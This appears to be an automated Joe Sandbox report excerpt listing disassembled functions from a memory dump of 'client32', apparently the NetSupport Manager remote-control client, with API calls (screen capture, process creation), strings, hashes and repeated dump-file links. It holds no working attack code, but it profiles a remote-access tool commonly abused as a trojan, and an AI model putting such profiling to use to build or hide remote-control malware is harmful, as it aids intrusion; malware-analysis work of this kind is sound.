Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$CountErrorLastMessageTick_strrchrwsprintf
String ID: Assert failed, file %hs, line %d, error code %dBuild: %hsExpression: %s$Assert. File %hs, line %d, err %d, Expr %s$Client32$Info. assert, restarting...$V12.10F4
API String ID: 2763122592-3703414834
Opcode ID: 46b0b576eeee1707cfa4597fddd227d26b12d5d0a7ecbe0e050bda6c28fca704
Instruction ID: 0c35b4c0934c547b9efc755c54c54cf2bc7aea1eab2dc2738ce497f42af58575
Opcode Fuzzy Hash: 46b0b576eeee1707cfa4597fddd227d26b12d5d0a7ecbe0e050bda6c28fca704
Instruction Fuzzy Hash: 8D310B75A0122AAFE711DFE5CCC5FBAB7A9EB4470CF104028F72587281E670A940CB61

Function 1100D570 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 80processCOMMON

Download Yara Rule

APIs

Part of subcall function 110EBBE0: LocalAlloc.KERNEL32(00000040,00000014,?,1100D58F,?), ref: 110EBBF0
Part of subcall function 110EBBE0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,1100D58F,?), ref: 110EBC02
Part of subcall function 110EBBE0: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000,?,1100D58F,?), ref: 110EBC14

CreateEventA.KERNEL32(?,00000000,00000000,00000000), ref: 1100D5A7
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1100D5C0
_strrchr.LIBCMT ref: 1100D5CF
GetCurrentProcessId.KERNEL32 ref: 1100D5DF
wsprintfA.USER32 ref: 1100D600
_memset.LIBCMT ref: 1100D611
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,04000000,00000000,00000000,?,?), ref: 1100D649
CloseHandle.KERNEL32(?,00000000), ref: 1100D661
CloseHandle.KERNEL32(?), ref: 1100D66A

Strings

D, xrefs: 1100D63F
%sNSSilence.exe %u %u, xrefs: 1100D5FA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateDescriptorHandleProcessSecurity$AllocCurrentDaclEventFileInitializeLocalModuleName_memset_strrchrwsprintf
String ID: %sNSSilence.exe %u %u$D
API String ID: 1760462761-4146734959
Opcode ID: 8e94b261c6efca61078e1c150cf0d839bc558289722da67addac1a9607ec9e4e
Instruction ID: a456dda971beae3ede1202bfd149c5043837a25f7bf8d7d11396327520b54e87
Opcode Fuzzy Hash: 8e94b261c6efca61078e1c150cf0d839bc558289722da67addac1a9607ec9e4e
Instruction Fuzzy Hash: EE218675E41329ABEB60DBE4CC89FDEB77C9B04708F108195F719A71C0DAB0AA448F65

Function 110A75B0 Relevance: 18.1, APIs: 12, Instructions: 117windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 110A75D6
CreateCompatibleDC.GDI32(00000000), ref: 110A75E2
GetRgnBox.GDI32(?,?), ref: 110A7603
CreateCompatibleBitmap.GDI32(?,?,?), ref: 110A7622
SelectObject.GDI32(00000000,00000000), ref: 110A7638
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00FF0062), ref: 110A7667
OffsetRgn.GDI32(00000000,?,?), ref: 110A7682
SelectClipRgn.GDI32(00000000,00000000), ref: 110A7693
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00CC0020), ref: 110A76B3
SelectObject.GDI32(00000000,?), ref: 110A76BE
DeleteDC.GDI32(00000000), ref: 110A76C5
ReleaseDC.USER32(00000000,00000000), ref: 110A76D1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Select$CompatibleCreateObject$BitmapClipDeleteOffsetRelease
String ID:
API String ID: 1998184411-0
Opcode ID: ca1efe98171b5a85fa15818eb71c06998636f57872ca048fd57581ab3a04e152
Instruction ID: d01220f1ca20b58af6d54b71fb89cfd4fca4eb7da2e1d7c7476d03a363cea98d
Opcode Fuzzy Hash: ca1efe98171b5a85fa15818eb71c06998636f57872ca048fd57581ab3a04e152
Instruction Fuzzy Hash: C841EA75A00616AFD715CFA8C889EBFBBB9FB8C705F108559FA15A3244CB35AC01CB61

Function 110CD730 Relevance: 18.1, APIs: 12, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetStretchBltMode.GDI32(?,?,?,1101C9E1,?,00000002,?), ref: 110CD768
SetStretchBltMode.GDI32(?,00000004), ref: 110CD776
GetDC.USER32(00000000), ref: 110CD77E
CreateCompatibleDC.GDI32(00000000), ref: 110CD787
CreateCompatibleBitmap.GDI32(00000000,00000280,000001E0), ref: 110CD79A
SelectObject.GDI32(00000000,00000000), ref: 110CD7A5
StretchBlt.GDI32(?,?,?,00000000,?,00000000,00000000,00000000,00000280,000001E0,00CC0020), ref: 110CD80C
SelectObject.GDI32(00000000,1101C9E1), ref: 110CD817
DeleteObject.GDI32(?), ref: 110CD821
DeleteDC.GDI32(00000000), ref: 110CD828
ReleaseDC.USER32(00000000,00000000), ref: 110CD831
SetStretchBltMode.GDI32(?,?), ref: 110CD83E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stretch$ModeObject$CompatibleCreateDeleteSelect$BitmapRelease
String ID:
API String ID: 3869104054-0
Opcode ID: 4cd5c15a1307939a7bc44611b11280addb4b9eea335058283b3b6782dfa3e116
Instruction ID: 9115cb6fd31e605d31799654545640bcc5eda688478f30b87190566900b2352f
Opcode Fuzzy Hash: 4cd5c15a1307939a7bc44611b11280addb4b9eea335058283b3b6782dfa3e116
Instruction Fuzzy Hash: BD310BB5600215AFD700DFA8CC89FAEB7B9EF8D705F208159FA15DB294D670AD01CBA1

Function 1113B200 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 252COMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

std::exception::exception.LIBCMT ref: 1113B29B
__CxxThrowException@8.LIBCMT ref: 1113B2B0
SetPropA.USER32(?,?,00000000), ref: 1113B33E
GetPropA.USER32(?), ref: 1113B34D
wsprintfA.USER32 ref: 1113B37F
RemovePropA.USER32(?), ref: 1113B3B1

Strings

UI.CPP, xrefs: 1113B301, 1113B322, 1113B392
hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x, xrefs: 1113B379
NSMStatsWindow::m_aProp, xrefs: 1113B327

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Prop$wsprintf$Exception@8RemoveThrow_memsetstd::exception::exception
String ID: NSMStatsWindow::m_aProp$UI.CPP$hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x
API String ID: 1006086998-1590351400
Opcode ID: e80bc59964b50164fd05165775aa6cd928dd734280def06f5c21c77cfc7c1a8b
Instruction ID: 61aa09a3932057afedc91f8550a7d54e25a2d8e58743395c812a8a85ab32a301
Opcode Fuzzy Hash: e80bc59964b50164fd05165775aa6cd928dd734280def06f5c21c77cfc7c1a8b
Instruction Fuzzy Hash: AA71E975E112299FD710CFA9DD80BAEF7B8FB88325F40456FE90AD7244D634A900CBA5

Function 110677D0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106790C
_strncpy.LIBCMT ref: 1106794B
_strncpy.LIBCMT ref: 11067968

Strings

IsMemberChannel(%s, %s) returned %s, xrefs: 11067998
TRUE, xrefs: 1106797E
FALSE, xrefs: 11067987, 1106798C
NULL, xrefs: 110678E6

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$_memset
String ID: FALSE$IsMemberChannel(%s, %s) returned %s$NULL$TRUE
API String ID: 2875120685-410041408
Opcode ID: 1ad99e8ad484f33b8de200ce3ed92b9d0ad4c5424ea161a9d840b93244585d85
Instruction ID: 3f557e5b11c70b586fef0777eaeab85b12f559261d3a1f9d6206d3e20be75dac
Opcode Fuzzy Hash: 1ad99e8ad484f33b8de200ce3ed92b9d0ad4c5424ea161a9d840b93244585d85
Instruction Fuzzy Hash: 3351C3B1D442699FEB51CFA89D407EEFBF8AF45204F4440E9EA48A7241F7309A44CB95

Function 110FD040 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 155threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

GetLastError.KERNEL32(Client,00000000,00000001,00000000), ref: 110FD146
GetCurrentThreadId.KERNEL32 ref: 110FD17C
GetCurrentThreadId.KERNEL32 ref: 110FD18A

Strings

*Log_%d, xrefs: 110FD06C
nstrings <= 4, xrefs: 110FD15E
Event. %s, xrefs: 110FD1A6
LogWhileConnected, xrefs: 110FD10F
Client, xrefs: 110FD089, 110FD114
PLATFORM.CPP, xrefs: 110FD159

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentThread$ErrorLast__wcstoi64
String ID: *Log_%d$Client$Event. %s$LogWhileConnected$PLATFORM.CPP$nstrings <= 4
API String ID: 2021241812-3565238984
Opcode ID: eb309260b65eb184e950d2832ff89cbda71d3e6208cd11c1851e8b991c9664c9
Instruction ID: fb898e99375fe03a3fe41083e55742ce7b0b576ff4a7e429a818e7135f918612
Opcode Fuzzy Hash: eb309260b65eb184e950d2832ff89cbda71d3e6208cd11c1851e8b991c9664c9
Instruction Fuzzy Hash: 72514935E00117ABDB11CFA5CC86FBEBBA9FF85718F104579F92597280E734A80187A1

Function 1103D180 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 146COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 1103D1D3

Strings

BLOCKPRINTING, xrefs: 1103D23D
SETUSBMASSSTORAGEACCESS, xrefs: 1103D1E3
IsA(), xrefs: 1103D284
SETOPTICALDRIVEACCESSACCESSMODES=%u, xrefs: 1103D22F
SETOPTICALDRIVEACCESS, xrefs: 1103D214
RESUMEPRINTINGPRINTER=*FILETYPES=, xrefs: 1103D262
SETUSBMASSSTORAGEACCESSACCESSMODES=%u, xrefs: 1103D206
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103D27F
BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1, xrefs: 1103D25B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: BLOCKPRINTING$BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1$IsA()$RESUMEPRINTINGPRINTER=*FILETYPES=$SETOPTICALDRIVEACCESS$SETOPTICALDRIVEACCESSACCESSMODES=%u$SETUSBMASSSTORAGEACCESS$SETUSBMASSSTORAGEACCESSACCESSMODES=%u$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 4104443479-1830555902
Opcode ID: fca27933c6ca7993513b82c68f2f31841424c130ce3184443b06f8eeee8592da
Instruction ID: 0533b61ff5f256c00753904ec1df5a7198c5ed9dcfad6114a4b50a325be8fdd6
Opcode Fuzzy Hash: fca27933c6ca7993513b82c68f2f31841424c130ce3184443b06f8eeee8592da
Instruction Fuzzy Hash: BE41B779A1021AAFCB01CF94CC90FEEB7F8EF55319F044569E855A7241EB35E904C7A1

Function 11045364 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 1104545D
GetTickCount.KERNEL32 ref: 110454A6
GetTickCount.KERNEL32 ref: 110454C6

Strings

IsMember(%ls, %ls) ret %d, took %u ms, xrefs: 110454E6
RecIsMember(%ls, %ls) ret %d, took %u ms, xrefs: 11045544

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FreeString
String ID: IsMember(%ls, %ls) ret %d, took %u ms$RecIsMember(%ls, %ls) ret %d, took %u ms
API String ID: 2011556836-2400621309
Opcode ID: 4996816fcb2d09a22c30fafb4ed933fee1bc220f868133df278643c3e2cb817a
Instruction ID: 400cf60c0998823ea0bb6020a3248241c8ed3d764918c69dd9f09d3b4840e21c
Opcode Fuzzy Hash: 4996816fcb2d09a22c30fafb4ed933fee1bc220f868133df278643c3e2cb817a
Instruction Fuzzy Hash: AE816471E0021A9BDB20DF54CC90BAAB3B5EF88714F1045E8D909D7A84EB75AE81CF90

Function 11059020 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164synchronizationtimeCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,DC70C1FE), ref: 11059069
EnterCriticalSection.KERNEL32(?), ref: 110590CE
timeGetTime.WINMM ref: 110590FC
GetTickCount.KERNEL32 ref: 11059136
LeaveCriticalSection.KERNEL32(?), ref: 110591AA
EnterCriticalSection.KERNEL32(?), ref: 110591C4
LeaveCriticalSection.KERNEL32(?), ref: 110591E9

Strings

_License, xrefs: 11059167
maxslaves, xrefs: 11059162

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$CountObjectSingleTickTimeWaittime
String ID: _License$maxslaves
API String ID: 3724810986-253336860
Opcode ID: c4747356edef85b26a8d255d985f731fa2ac90c82b36329bf0764cc89e95cc70
